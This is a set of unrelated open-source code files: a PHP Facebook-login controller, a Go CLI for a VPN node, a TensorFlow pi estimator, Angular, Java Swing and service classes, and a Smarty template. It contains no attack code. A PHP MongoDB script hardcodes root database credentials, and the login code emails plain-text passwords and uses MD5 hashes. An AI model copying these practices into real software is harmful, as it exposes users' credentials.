$user->user_level = 1;
$user->published = 1;
$user->last_login = date("Y-m-d H:i:s", strtotime('now'));
$user->last_login_ip = Puskice::getIP();
$user->loginhash = md5(strtotime('now').$user->username);
$user->facebook_id = $object->getProperty('id');
$user->email = $object->getProperty('email');
$user->fb_token = $session->getToken();
$user->gender = $object->getProperty('gender');
$user->save();
$sender = array(
'email'=>'no-reply@puskice.org',
'name'=>'Puškice nalog',
'user_email' => $user->email,
'user_name' => $user->username
);
// the data that will be passed into the mail view blade template
$data = array(
'username' => $user->username,
'password' => $password,
);
// use Mail::send function to send email passing the data and using the $user variable in the closure
Mail::send('emails.fbnewuser', $data, function($message) use ($sender)
{
$message->from('no-reply@puskice.org', 'Info tim Puškice');
$message->to($sender['user_email'], $sender['user_name'])->subject('Puškice nalog');
});
Session::put('id', $user->id);
}
return "<li>".$object->getProperty('name').'</li>';
}
else
{
// Login URL if session not found
//return '<div class="fb-login-button" data-max-rows="1" data-scope="public_profile,email" data-size="medium" data-show-faces="false" data-auto-logout-link="false"></div>';
return '<a href="' . $helper->getLoginUrl($permissions) . '"><img src="'.Request::root().'/assets/frontend/img/facebook_login.png" alt="Facebook login" width="200px"/></a>';
}
}
}
}
| Puskice/PuskiceCMS | app/controllers/LoginController.php | PHP | gpl-3.0 | 39,077 |
/*
* Copyright (C) 2017 The "MysteriumNetwork/node" Authors.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package cli
import (
"errors"
"flag"
"fmt"
"log"
"path/filepath"
"strconv"
"strings"
"github.com/chzyer/readline"
"github.com/mysteriumnetwork/node/cmd"
"github.com/mysteriumnetwork/node/core/service"
"github.com/mysteriumnetwork/node/metadata"
"github.com/mysteriumnetwork/node/services/noop"
"github.com/mysteriumnetwork/node/services/openvpn"
openvpn_service "github.com/mysteriumnetwork/node/services/openvpn/service"
"github.com/mysteriumnetwork/node/services/wireguard"
wireguard_service "github.com/mysteriumnetwork/node/services/wireguard/service"
tequilapi_client "github.com/mysteriumnetwork/node/tequilapi/client"
"github.com/mysteriumnetwork/node/utils"
"github.com/urfave/cli"
)
const cliCommandName = "cli"
const serviceHelp = `service <action> [args]
start <ProviderID> <ServiceType> [options]
stop <ServiceID>
list
status <ServiceID>
example: service start 0x7d5ee3557775aed0b85d691b036769c17349db23 openvpn --openvpn.port=1194 --openvpn.proto=UDP`
// NewCommand constructs CLI based Mysterium UI with possibility to control quiting
func NewCommand() *cli.Command {
return &cli.Command{
Name: cliCommandName,
Usage: "Starts a CLI client with a Tequilapi",
Action: func(ctx *cli.Context) error {
nodeOptions := cmd.ParseFlagsNode(ctx)
cmdCLI := &cliApp{
historyFile: filepath.Join(nodeOptions.Directories.Data, ".cli_history"),
tequilapi: tequilapi_client.NewClient(nodeOptions.TequilapiAddress, nodeOptions.TequilapiPort),
}
cmd.RegisterSignalCallback(utils.SoftKiller(cmdCLI.Kill))
return cmdCLI.Run()
},
}
}
// cliApp describes CLI based Mysterium UI
type cliApp struct {
historyFile string
tequilapi *tequilapi_client.Client
fetchedProposals []tequilapi_client.ProposalDTO
completer *readline.PrefixCompleter
reader *readline.Instance
}
const redColor = "\033[31m%s\033[0m"
const identityDefaultPassphrase = ""
const statusConnected = "Connected"
var versionSummary = metadata.VersionAsSummary(metadata.LicenseCopyright(
"type 'license --warranty'",
"type 'license --conditions'",
))
// Run runs CLI interface synchronously, in the same thread while blocking it
func (c *cliApp) Run() (err error) {
fmt.Println(versionSummary)
c.fetchedProposals = c.fetchProposals()
c.completer = newAutocompleter(c.tequilapi, c.fetchedProposals)
c.reader, err = readline.NewEx(&readline.Config{
Prompt: fmt.Sprintf(redColor, "» "),
HistoryFile: c.historyFile,
AutoComplete: c.completer,
InterruptPrompt: "^C",
EOFPrompt: "exit",
})
if err != nil {
return err
}
// TODO Should overtake output of CommandRun
log.SetOutput(c.reader.Stderr())
for {
line, err := c.reader.Readline()
if err == readline.ErrInterrupt && len(line) > 0 {
continue
} else if err != nil {
c.quit()
return err
}
c.handleActions(line)
}
}
// Kill stops cli
func (c *cliApp) Kill() error {
c.reader.Clean()
return c.reader.Close()
}
func (c *cliApp) handleActions(line string) {
line = strings.TrimSpace(line)
staticCmds := []struct {
command string
handler func()
}{
{"exit", c.quit},
{"quit", c.quit},
{"help", c.help},
{"status", c.status},
{"healthcheck", c.healthcheck},
{"ip", c.ip},
{"disconnect", c.disconnect},
{"stop", c.stopClient},
}
argCmds := []struct {
command string
handler func(argsString string)
}{
{command: "connect", handler: c.connect},
{command: "unlock", handler: c.unlock},
{command: "identities", handler: c.identities},
{command: "version", handler: c.version},
{command: "license", handler: c.license},
{command: "registration", handler: c.registration},
{command: "proposals", handler: c.proposals},
{command: "service", handler: c.service},
}
for _, cmd := range staticCmds {
if line == cmd.command {
cmd.handler()
return
}
}
for _, cmd := range argCmds {
if strings.HasPrefix(line, cmd.command) {
argsString := strings.TrimSpace(line[len(cmd.command):])
cmd.handler(argsString)
return
}
}
if len(line) > 0 {
c.help()
}
}
func (c *cliApp) service(argsString string) {
args := strings.Fields(argsString)
if len(args) == 0 {
fmt.Println(serviceHelp)
return
}
action := args[0]
switch action {
case "start":
if len(args) < 3 {
fmt.Println(serviceHelp)
return
}
c.serviceStart(args[1], args[2], args[3:]...)
case "stop":
if len(args) < 2 {
fmt.Println(serviceHelp)
return
}
c.serviceStop(args[1])
case "status":
if len(args) < 2 {
fmt.Println(serviceHelp)
return
}
c.serviceGet(args[1])
case "list":
c.serviceList()
default:
info(fmt.Sprintf("Unknown action provided: %s", action))
fmt.Println(serviceHelp)
}
}
func (c *cliApp) serviceStart(providerID, serviceType string, args ...string) {
opts, err := parseServiceOptions(serviceType, args...)
if err != nil {
info("Failed to parse service options:", err)
return
}
service, err := c.tequilapi.ServiceStart(providerID, serviceType, opts)
if err != nil {
info("Failed to start service: ", err)
return
}
status(service.Status,
"ID: "+service.ID,
"ProviderID: "+service.Proposal.ProviderID,
"Type: "+service.Proposal.ServiceType)
}
func (c *cliApp) serviceStop(id string) {
if err := c.tequilapi.ServiceStop(id); err != nil {
info("Failed to stop service: ", err)
return
}
status("Stopping", "ID: "+id)
}
func (c *cliApp) serviceList() {
services, err := c.tequilapi.Services()
if err != nil {
info("Failed to get a list of services: ", err)
return
}
for _, service := range services {
status(service.Status,
"ID: "+service.ID,
"ProviderID: "+service.Proposal.ProviderID,
"Type: "+service.Proposal.ServiceType)
}
}
func (c *cliApp) serviceGet(id string) {
service, err := c.tequilapi.Service(id)
if err != nil {
info("Failed to get service info: ", err)
return
}
status(service.Status,
"ID: "+service.ID,
"ProviderID: "+service.Proposal.ProviderID,
"Type: "+service.Proposal.ServiceType)
}
func (c *cliApp) connect(argsString string) {
args := strings.Fields(argsString)
if len(args) < 3 {
info("Please type in the provider identity. Connect <consumer-identity> <provider-identity> <service-type> [disable-kill-switch]")
return
}
consumerID, providerID, serviceType := args[0], args[1], args[2]
var disableKill bool
var err error
if len(args) > 3 {
disableKillStr := args[3]
disableKill, err = strconv.ParseBool(disableKillStr)
if err != nil {
info("Please use true / false for <disable-kill-switch>")
return
}
}
connectOptions := tequilapi_client.ConnectOptions{DisableKillSwitch: disableKill}
if consumerID == "new" {
id, err := c.tequilapi.NewIdentity(identityDefaultPassphrase)
if err != nil {
warn(err)
return
}
consumerID = id.Address
success("New identity created:", consumerID)
}
status("CONNECTING", "from:", consumerID, "to:", providerID)
_, err = c.tequilapi.Connect(consumerID, providerID, serviceType, connectOptions)
if err != nil {
warn(err)
return
}
success("Connected.")
}
func (c *cliApp) unlock(argsString string) {
unlockSignature := "Unlock <identity> [passphrase]"
if len(argsString) == 0 {
info("Press tab to select identity.", unlockSignature)
return
}
args := strings.Fields(argsString)
var identity, passphrase string
if len(args) == 1 {
identity, passphrase = args[0], ""
} else if len(args) == 2 {
identity, passphrase = args[0], args[1]
} else {
info("Please type in identity and optional passphrase.", unlockSignature)
return
}
info("Unlocking", identity)
err := c.tequilapi.Unlock(identity, passphrase)
if err != nil {
warn(err)
return
}
success(fmt.Sprintf("Identity %s unlocked.", identity))
}
func (c *cliApp) disconnect() {
err := c.tequilapi.Disconnect()
if err != nil {
warn(err)
return
}
success("Disconnected.")
}
func (c *cliApp) status() {
status, err := c.tequilapi.Status()
if err != nil {
warn(err)
} else {
info("Status:", status.Status)
info("SID:", status.SessionID)
}
if status.Status == statusConnected {
statistics, err := c.tequilapi.ConnectionStatistics()
if err != nil {
warn(err)
} else {
info("Proposal:", status.Proposal)
info(fmt.Sprintf("Connection duration: %ds", statistics.Duration))
info("Bytes sent:", statistics.BytesSent)
info("Bytes received:", statistics.BytesReceived)
}
}
}
func (c *cliApp) healthcheck() {
healthcheck, err := c.tequilapi.Healthcheck()
if err != nil {
warn(err)
return
}
info(fmt.Sprintf("Uptime: %v", healthcheck.Uptime))
info(fmt.Sprintf("Process: %v", healthcheck.Process))
info(fmt.Sprintf("Version: %v", healthcheck.Version))
buildString := metadata.FormatString(healthcheck.BuildInfo.Commit, healthcheck.BuildInfo.Branch, healthcheck.BuildInfo.BuildNumber)
info(buildString)
}
func (c *cliApp) proposals(filter string) {
proposals := c.fetchProposals()
c.fetchedProposals = proposals
filterMsg := ""
if filter != "" {
filterMsg = fmt.Sprintf("(filter: '%s')", filter)
}
info(fmt.Sprintf("Found %v proposals %s", len(proposals), filterMsg))
for _, proposal := range proposals {
country := proposal.ServiceDefinition.LocationOriginate.Country
if country == "" {
country = "Unknown"
}
msg := fmt.Sprintf("- provider id: %v, proposal id: %v, country: %v", proposal.ProviderID, proposal.ID, country)
if filter == "" ||
strings.Contains(proposal.ProviderID, filter) ||
strings.Contains(country, filter) {
info(msg)
}
}
}
func (c *cliApp) fetchProposals() []tequilapi_client.ProposalDTO {
proposals, err := c.tequilapi.Proposals()
if err != nil {
warn(err)
return []tequilapi_client.ProposalDTO{}
}
return proposals
}
func (c *cliApp) ip() {
ip, err := c.tequilapi.GetIP()
if err != nil {
warn(err)
return
}
info("IP:", ip)
}
func (c *cliApp) help() {
info("Mysterium CLI tequilapi commands:")
fmt.Println(c.completer.Tree(" "))
}
// quit stops cli and client commands and exits application
func (c *cliApp) quit() {
stop := utils.SoftKiller(c.Kill)
stop()
}
func (c *cliApp) identities(argsString string) {
const usage = "identities command:\n list\n new [passphrase]"
if len(argsString) == 0 {
info(usage)
return
}
switch argsString {
case "new", "list": // Known sub-commands.
default:
warnf("Unknown sub-command '%s'\n", argsString)
fmt.Println(usage)
return
}
args := strings.Fields(argsString)
if len(args) < 1 {
info(usage)
return
}
action := args[0]
if action == "list" {
if len(args) > 1 {
info(usage)
return
}
ids, err := c.tequilapi.GetIdentities()
if err != nil {
fmt.Println("Error occurred:", err)
return
}
for _, id := range ids {
status("+", id.Address)
}
return
}
if action == "new" {
var passphrase string
if len(args) == 1 {
passphrase = identityDefaultPassphrase
} else if len(args) == 2 {
passphrase = args[1]
} else {
info(usage)
return
}
id, err := c.tequilapi.NewIdentity(passphrase)
if err != nil {
warn(err)
return
}
success("New identity created:", id.Address)
}
}
func (c *cliApp) registration(argsString string) {
if argsString == "" {
warn("Please supply identity")
return
}
status, err := c.tequilapi.IdentityRegistrationStatus(argsString)
if err != nil {
warn("Something went wrong: ", err)
return
}
if status.Registered {
info("Already registered")
return
}
info("Identity is not registered yet. In order to do that - please call payments contract with the following data")
info("Public key: part1 ->", status.PublicKey.Part1)
info(" part2 ->", status.PublicKey.Part2)
info("Signature: S ->", status.Signature.S)
info(" R ->", status.Signature.R)
info(" V ->", status.Signature.V)
info("OR proceed with direct link:")
infof(" https://wallet.mysterium.network/?part1=%s&part2=%s&s=%s&r=%s&v=%d\n",
status.PublicKey.Part1,
status.PublicKey.Part2,
status.Signature.S,
status.Signature.R,
status.Signature.V)
}
func (c *cliApp) stopClient() {
err := c.tequilapi.Stop()
if err != nil {
warn("Cannot stop client:", err)
}
success("Client stopped")
}
func (c *cliApp) version(argsString string) {
fmt.Println(versionSummary)
}
func (c *cliApp) license(argsString string) {
if argsString == "warranty" {
fmt.Print(metadata.LicenseWarranty)
} else if argsString == "conditions" {
fmt.Print(metadata.LicenseConditions)
} else {
info("identities command:\n warranty\n conditions")
}
}
func getIdentityOptionList(tequilapi *tequilapi_client.Client) func(string) []string {
return func(line string) []string {
identities := []string{"new"}
ids, err := tequilapi.GetIdentities()
if err != nil {
warn(err)
return identities
}
for _, id := range ids {
identities = append(identities, id.Address)
}
return identities
}
}
func getProposalOptionList(proposals []tequilapi_client.ProposalDTO) func(string) []string {
return func(line string) []string {
var providerIDS []string
for _, proposal := range proposals {
providerIDS = append(providerIDS, proposal.ProviderID)
}
return providerIDS
}
}
func newAutocompleter(tequilapi *tequilapi_client.Client, proposals []tequilapi_client.ProposalDTO) *readline.PrefixCompleter {
return readline.NewPrefixCompleter(
readline.PcItem(
"connect",
readline.PcItemDynamic(
getIdentityOptionList(tequilapi),
readline.PcItemDynamic(
getProposalOptionList(proposals),
),
),
),
readline.PcItem(
"service",
readline.PcItem("start", readline.PcItemDynamic(
getIdentityOptionList(tequilapi),
readline.PcItem("noop"),
readline.PcItem("openvpn"),
readline.PcItem("wireguard"),
)),
readline.PcItem("stop"),
readline.PcItem("list"),
readline.PcItem("status"),
),
readline.PcItem(
"identities",
readline.PcItem("new"),
readline.PcItem("list"),
),
readline.PcItem("status"),
readline.PcItem("healthcheck"),
readline.PcItem("proposals"),
readline.PcItem("ip"),
readline.PcItem("disconnect"),
readline.PcItem("help"),
readline.PcItem("quit"),
readline.PcItem("stop"),
readline.PcItem(
"unlock",
readline.PcItemDynamic(
getIdentityOptionList(tequilapi),
),
),
readline.PcItem(
"license",
readline.PcItem("warranty"),
readline.PcItem("conditions"),
),
readline.PcItem(
"registration",
readline.PcItemDynamic(
getIdentityOptionList(tequilapi),
),
),
)
}
func parseServiceOptions(serviceType string, args ...string) (service.Options, error) {
var flags []cli.Flag
openvpn_service.RegisterFlags(&flags)
wireguard_service.RegisterFlags(&flags)
set := flag.NewFlagSet("", flag.ContinueOnError)
for _, f := range flags {
f.Apply(set)
}
if err := set.Parse(args); err != nil {
return nil, err
}
ctx := cli.NewContext(nil, set, nil)
switch serviceType {
case noop.ServiceType:
return noop.ParseFlags(ctx), nil
case wireguard.ServiceType:
return wireguard_service.ParseFlags(ctx), nil
case openvpn.ServiceType:
return openvpn_service.ParseFlags(ctx), nil
}
return nil, errors.New("service type not found")
}
| MysteriumNetwork/node | cmd/commands/cli/command.go | GO | gpl-3.0 | 15,923 |
import tensorflow as tf
import matplotlib.pyplot as plt
import math
x_node = tf.random_uniform([1], minval=-1, maxval=1, dtype=tf.float32,
name='x_node')
y_node = tf.random_uniform([1], minval=-1, maxval=1, dtype=tf.float32,
name='y_node')
times = 5000
hits = 0
pis = []
with tf.Session() as session:
for i in range(1, times):
x = session.run(x_node)
y = session.run(y_node)
if x*x + y*y < 1:
hits += 1
pass
pi = 4 * float(hits) / i
print(pi)
pis.append(pi)
pass
pass
plt.plot(pis)
plt.plot([0, times], [math.pi, math.pi])
plt.show()
| thiswind/nn_practice | tensorflow/calculate_pi_old.py | Python | gpl-3.0 | 581 |
import { Component } from "@angular/core";
import { Router } from "@angular/router";
import { Order } from "classes-common/order";
import { AccountService } from "services/account.service";
import { promiseError } from "utils/utils";
@Component({
moduleId: module.id,
templateUrl: "trade.component.html",
})
export class TradeComponent {
private order: Order = {
id: null,
user_id: null,
quantity: null,
listing_id: null,
action: null,
type: null,
price: null,
status: null,
};
private submitFailed: boolean = false;
constructor(private accountService: AccountService, private router: Router) {}
submit() {
this.accountService
.createOrder(this.order)
.then(() => this.router.navigate(["/orders"]))
.catch(promiseError)
.catch(() => this.submitFailed = true);
}
};
| Jygsaw/ticker-tech | web/site/trade/trade.component.ts | TypeScript | gpl-3.0 | 847 |
<?php
$json_file_path = file_get_contents("e.json");
$json_decode_value = json_decode($json_file_path , true);
$username = 'root';
$password = 'masoudsam';
$monogo = new MongoClient("mongodb://${username}:${password}@localhost");
// select a database
$db = $monogo->nahd;
$collection = $db->khotbe;
//$document = array( "first sample" => 'valu of fist sample' );
//$collection->insert($document);
//$document = array( "a" => "b" );
//$collection->insert($json_decode_value);
$cursor = $collection->find();
foreach ($cursor as $value)
{
echo '<pre>' . var_dump($value) . '</pre>';
}
//not authorized on nahd to execute command => dasture vojud nadard
?>
| akbarbitaraf/NahjalBalagha | document/database/mongoDB/mongoDB.php5 | PHP | gpl-3.0 | 672 |
package com.idega.data;
import java.util.Vector;
import java.util.List;
import java.util.Iterator;
import java.util.Collection;
/**
* Title: idega Data Objects
* Description: Idega Data Objects is a Framework for Object/Relational mapping and seamless integration between datastores
* Copyright: Copyright (c) 2001
* Company: idega
*@author <a href="mailto:tryggvi@idega.is">Tryggvi Larusson</a>
*@version 1.0
*/
public class IDODependencyList {
private List startClasses;
private List dependencyClassesList;
private IDODependencyList() {
}
private IDODependencyList(Class entityClass) {
this.addEntityClass(entityClass);
}
List getStartClasses(){
if(this.startClasses==null){
this.startClasses = new Vector();
}
return this.startClasses;
}
public void addEntityClass(Class startingEntityClass){
if(startingEntityClass!=null){
Class interfaceClass = IDODependencyList.getInterfaceClassForClass(startingEntityClass);
if(!IDODependencyList.listContainsClass(getStartClasses(),interfaceClass)){
this.getStartClasses().add(interfaceClass);
}
}
}
/**
* Takes in a collection of either Class of IDOLegacyEntity Objects
*/
public void addAllEntityClasses(Collection startingEntityClasses){
Iterator iter = startingEntityClasses.iterator();
while (iter.hasNext()) {
Object item = iter.next();
Class c = null;
if(item instanceof Class){
c = (Class)item;
}
else if(item instanceof IDOLegacyEntity){
c = ((IDOLegacyEntity)item).getClass();
}
addEntityClass(c);
}
}
/**
* Returns a Set that contains Class Entity objects that are dependent on entityClass
* The depencencyList must be compiled "i.e. compile() must have been called" before the call to this method.
* - Ordered so: the element entityClass itself first and the least dependent Class last
*/
public List getDependencyListAsClasses(){
return this.dependencyClassesList;
}
/**
* Compiles the dependencylist and finds all entityClasses that the startingEntityClasses are dependent upon.
*/
public void compile(){
List l = compileDependencyList();
this.dependencyClassesList=l;
//compileDependencyList((Class)getStartClasses().get(0),getStartClasses());
}
public static IDODependencyList createDependencyList(Class startingEntityClass){
IDODependencyList instance = createDependencyList();
instance.addEntityClass(startingEntityClass);
return instance;
}
public static IDODependencyList createDependencyList(){
IDODependencyList instance = new IDODependencyList();
return instance;
}
/**
* Returns a Set that contains Class Entity objects that are dependent on entityClass
* - Ordered so: the element entityClass itself first and the least dependent Class last
*/
private List compileDependencyList(){
List theReturn = new Vector();
List entityClasses = this.getStartClasses();
int size = entityClasses.size();
//Iterator iter = entityClasses.iterator();
//while (iter.hasNext()) {
//Class entityClass = (Class)iter.next();
for (int i = 0; i < size; i++) {
Class entityClass = (Class)entityClasses.get(i);
compileDependencyList(entityClass,theReturn);
}
return theReturn;
}
private static void compileDependencyList(Class entityClass,List theReturn){
boolean alreadyInList = listContainsClass(theReturn,entityClass);
Class interfaceClass = getInterfaceClassForClass(entityClass);
if(alreadyInList){
theReturn.remove(entityClass);
theReturn.remove(interfaceClass);
}
theReturn.add(interfaceClass);
List manyToManies = EntityControl.getManyToManyRelationShipClasses(entityClass);
List nToOnes = EntityControl.getNToOneRelatedClasses(entityClass);
if(manyToManies!=null){
//Iterator iter = manyToManies.i();
//while (iter.hasNext()) {
int size = manyToManies.size();
for (int i = 0; i < size; i++) {
Class item = (Class)manyToManies.get(i);
//Class item = (Class)iter.next();
if(!listContainsClass(theReturn,item)){
compileDependencyList(item,theReturn);
//System.out.println(item.getName());
}
else{
reshuffleDependencyList(item,theReturn);
}
}
}
if(nToOnes!=null){
Iterator iter2 = nToOnes.iterator();
while (iter2.hasNext()) {
Class item = (Class)iter2.next();
if(!listContainsClass(theReturn,item)){
compileDependencyList(item,theReturn);
}
else{
reshuffleDependencyList(item,theReturn);
}
}
}
}
private static void reshuffleDependencyList(Class entityClass,List theReturn){
List checkList = new Vector();
reshuffleDependencyList(entityClass,theReturn,checkList);
}
private static void reshuffleDependencyList(Class entityClass,List theReturn,List checkList){
System.out.println("[idoDependencyList] Reshuffling for entityClass = "+entityClass.getName());
if(listContainsClass(checkList,entityClass)) {
return;
}
Class interfaceClass = getInterfaceClassForClass(entityClass);
checkList.add(interfaceClass);
theReturn.remove(entityClass);
theReturn.remove(interfaceClass);
theReturn.add(interfaceClass);
//List manyToManies = EntityControl.getManyToManyRelationShipClasses(entityClass);
List nToOnes = EntityControl.getNToOneRelatedClasses(entityClass);
/*if(manyToManies!=null){
Iterator iter = manyToManies.iterator();
while (iter.hasNext()) {
Class item = (Class)iter.next();
reshuffleDependencyList(item,theReturn,checkList);
}
}*/
if(nToOnes!=null){
Iterator iter2 = nToOnes.iterator();
while (iter2.hasNext()) {
Class item = (Class)iter2.next();
Class newItem = getInterfaceClassForClass(item);
reshuffleDependencyList(newItem,theReturn,checkList);
}
}
}
private static Class getInterfaceClassForClass(Class entityClass){
return IDOLookup.getInterfaceClassFor(entityClass);
}
private static boolean listContainsClass(List list,Class entityClass){
if(entityClass.isInterface()){
return list.contains(entityClass);
}
else{
Class newClass = getInterfaceClassForClass(entityClass);
return list.contains(newClass);
}
}
}
| idega/platform2 | src/com/idega/data/IDODependencyList.java | Java | gpl-3.0 | 6,476 |
package com.wincom.dcim.agentd;
import java.util.Properties;
import java.util.Set;
public interface AgentdService {
void registerCodecFactory(String key, CodecFactory factory);
void unregisterCodecFactory(String key);
Set<String> getCodecFactoryKeys();
/**
* Create or get a <codec>Codec</codec>. FIXME: this interface design is
* problem.
*
* @param factoryId
* @param codecId
* @param props
* @return
*/
Codec createCodec(String factoryId, String codecId, Properties props);
Codec getCodec(String codecId);
void setCodec(String codecId, Codec codec);
}
| xtwxy/dcim | agentd/src/main/java/com/wincom/dcim/agentd/AgentdService.java | Java | gpl-3.0 | 637 |
/*
* Copyright (C) 2010 Brockmann Consult GmbH (info@brockmann-consult.de)
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the Free
* Software Foundation; either version 3 of the License, or (at your option)
* any later version.
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see http://www.gnu.org/licenses/
*/
package org.esa.snap.ui.crs;
import com.bc.ceres.swing.TableLayout;
import com.bc.ceres.swing.TableLayout.Anchor;
import com.bc.ceres.swing.TableLayout.Fill;
import com.jidesoft.swing.LabeledTextField;
import org.esa.snap.ui.util.FilteredListModel;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JList;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.ListSelectionModel;
import javax.swing.SwingUtilities;
import javax.swing.WindowConstants;
import javax.swing.event.DocumentEvent;
import javax.swing.event.DocumentListener;
import javax.swing.event.ListSelectionEvent;
import javax.swing.event.ListSelectionListener;
import javax.swing.text.BadLocationException;
import javax.swing.text.Document;
import java.awt.Container;
import java.awt.Dimension;
import java.util.logging.Logger;
class PredefinedCrsPanel extends JPanel {
public static final Logger LOG = Logger.getLogger(PredefinedCrsPanel.class.getName());
private final CrsInfoListModel crsListModel;
private JTextArea infoArea;
private JList<CrsInfo> crsList;
private LabeledTextField filterField;
private CrsInfo selectedCrsInfo;
private FilteredListModel<CrsInfo> filteredListModel;
// for testing the UI
public static void main(String[] args) {
final JFrame frame = new JFrame("CRS Selection Panel");
Container contentPane = frame.getContentPane();
final CrsInfoListModel listModel = new CrsInfoListModel(CrsInfo.generateCRSList());
PredefinedCrsPanel predefinedCrsForm = new PredefinedCrsPanel(listModel);
contentPane.add(predefinedCrsForm);
frame.setSize(600, 400);
frame.setLocationRelativeTo(null);
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
SwingUtilities.invokeLater(() -> frame.setVisible(true));
}
PredefinedCrsPanel(CrsInfoListModel model) {
crsListModel = model;
createUI();
}
private void createUI() {
filterField = new LabeledTextField();
filterField.setHintText("Type here to filter CRS");
filterField.getTextField().getDocument().addDocumentListener(new FilterDocumentListener());
filteredListModel = new FilteredListModel<>(crsListModel);
crsList = new JList<>(filteredListModel);
crsList.setVisibleRowCount(15);
crsList.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);
final JLabel filterLabel = new JLabel("Filter:");
final JLabel infoLabel = new JLabel("Well-Known Text (WKT):");
final JScrollPane crsListScrollPane = new JScrollPane(crsList);
crsListScrollPane.setPreferredSize(new Dimension(200, 150));
infoArea = new JTextArea(15, 30);
infoArea.setEditable(false);
crsList.addListSelectionListener(new CrsListSelectionListener());
crsList.setSelectedIndex(0);
final JScrollPane infoAreaScrollPane = new JScrollPane(infoArea);
TableLayout tableLayout = new TableLayout(3);
setLayout(tableLayout);
tableLayout.setTableFill(Fill.BOTH);
tableLayout.setTableAnchor(Anchor.NORTHWEST);
tableLayout.setTableWeightX(1.0);
tableLayout.setTablePadding(4, 4);
tableLayout.setRowWeightY(0, 0.0); // no weight Y for first row
tableLayout.setCellWeightX(0, 0, 0.0); // filter label; no grow in X
tableLayout.setRowWeightY(1, 1.0); // second row grow in Y
tableLayout.setCellColspan(1, 0, 2); // CRS list; spans 2 cols
tableLayout.setCellRowspan(1, 2, 2); // info area; spans 2 rows
tableLayout.setCellColspan(2, 0, 2); // defineCrsBtn button; spans to cols
add(filterLabel);
add(filterField);
add(infoLabel);
add(crsListScrollPane);
add(infoAreaScrollPane);
addPropertyChangeListener("enabled", evt -> {
filterLabel.setEnabled((Boolean) evt.getNewValue());
filterField.setEnabled((Boolean) evt.getNewValue());
infoLabel.setEnabled((Boolean) evt.getNewValue());
crsList.setEnabled((Boolean) evt.getNewValue());
crsListScrollPane.setEnabled((Boolean) evt.getNewValue());
infoArea.setEnabled((Boolean) evt.getNewValue());
infoAreaScrollPane.setEnabled((Boolean) evt.getNewValue());
});
crsList.getSelectionModel().setSelectionInterval(0, 0);
}
private class FilterDocumentListener implements DocumentListener {
@Override
public void insertUpdate(DocumentEvent e) {
updateFilter(getFilterText(e));
clearListSelection();
}
@Override
public void removeUpdate(DocumentEvent e) {
updateFilter(getFilterText(e));
clearListSelection();
}
private void clearListSelection() {
crsList.clearSelection();
setInfoText("");
}
@Override
public void changedUpdate(DocumentEvent e) {
}
private void updateFilter(String text) {
filteredListModel.setFilter(crsInfo -> {
String description = crsInfo.toString().toLowerCase();
return description.contains(text.trim().toLowerCase());
});
}
private String getFilterText(DocumentEvent e) {
Document document = e.getDocument();
String text = null;
try {
text = document.getText(0, document.getLength());
} catch (BadLocationException e1) {
LOG.severe(e1.getMessage());
}
return text;
}
}
private class CrsListSelectionListener implements ListSelectionListener {
@Override
public void valueChanged(ListSelectionEvent e) {
final JList list = (JList) e.getSource();
selectedCrsInfo = (CrsInfo) list.getSelectedValue();
if (selectedCrsInfo != null) {
try {
setInfoText(selectedCrsInfo.getDescription());
} catch (Exception e1) {
String message = e1.getMessage();
if (message != null) {
setInfoText("Error while creating CRS:\n\n" + message);
}
}
}
}
}
CrsInfo getSelectedCrsInfo() {
return selectedCrsInfo;
}
private void setInfoText(String infoText) {
infoArea.setText(infoText);
infoArea.setCaretPosition(0);
}
}
| senbox-org/snap-desktop | snap-ui/src/main/java/org/esa/snap/ui/crs/PredefinedCrsPanel.java | Java | gpl-3.0 | 7,335 |
<?php /* Smarty version Smarty-3.1.19, created on 2016-02-10 12:25:43
compiled from "D:\OpenServer\domains\Creative.mu\admin\themes\default\template\helpers\form\form_group.tpl" */ ?>
<?php /*%%SmartyHeaderCode:2922356bb0217592b22-45693259%%*/if(!defined('SMARTY_DIR')) exit('no direct access allowed');
$_valid = $_smarty_tpl->decodeProperties(array (
'file_dependency' =>
array (
'b0abf38c00e722d8a5ea787cb2309857b777eb52' =>
array (
0 => 'D:\\OpenServer\\domains\\Creative.mu\\admin\\themes\\default\\template\\helpers\\form\\form_group.tpl',
1 => 1455093855,
2 => 'file',
),
),
'nocache_hash' => '2922356bb0217592b22-45693259',
'function' =>
array (
),
'variables' =>
array (
'groups' => 0,
'group' => 0,
'id_checkbox' => 0,
'fields_value' => 0,
),
'has_nocache_code' => false,
'version' => 'Smarty-3.1.19',
'unifunc' => 'content_56bb02177c7459_60190817',
),false); /*/%%SmartyHeaderCode%%*/?>
<?php if ($_valid && !is_callable('content_56bb02177c7459_60190817')) {function content_56bb02177c7459_60190817($_smarty_tpl) {?>
<?php if (count($_smarty_tpl->tpl_vars['groups']->value)&&isset($_smarty_tpl->tpl_vars['groups']->value)) {?>
<div class="row">
<div class="col-lg-6">
<table class="table table-bordered">
<thead>
<tr>
<th class="fixed-width-xs">
<span class="title_box">
<input type="checkbox" name="checkme" id="checkme" onclick="checkDelBoxes(this.form, 'groupBox[]', this.checked)" />
</span>
</th>
<th class="fixed-width-xs"><span class="title_box"><?php echo smartyTranslate(array('s'=>'ID'),$_smarty_tpl);?>
</span></th>
<th>
<span class="title_box">
<?php echo smartyTranslate(array('s'=>'Group name'),$_smarty_tpl);?>
</span>
</th>
</tr>
</thead>
<tbody>
<?php $_smarty_tpl->tpl_vars['group'] = new Smarty_Variable; $_smarty_tpl->tpl_vars['group']->_loop = false;
$_smarty_tpl->tpl_vars['key'] = new Smarty_Variable;
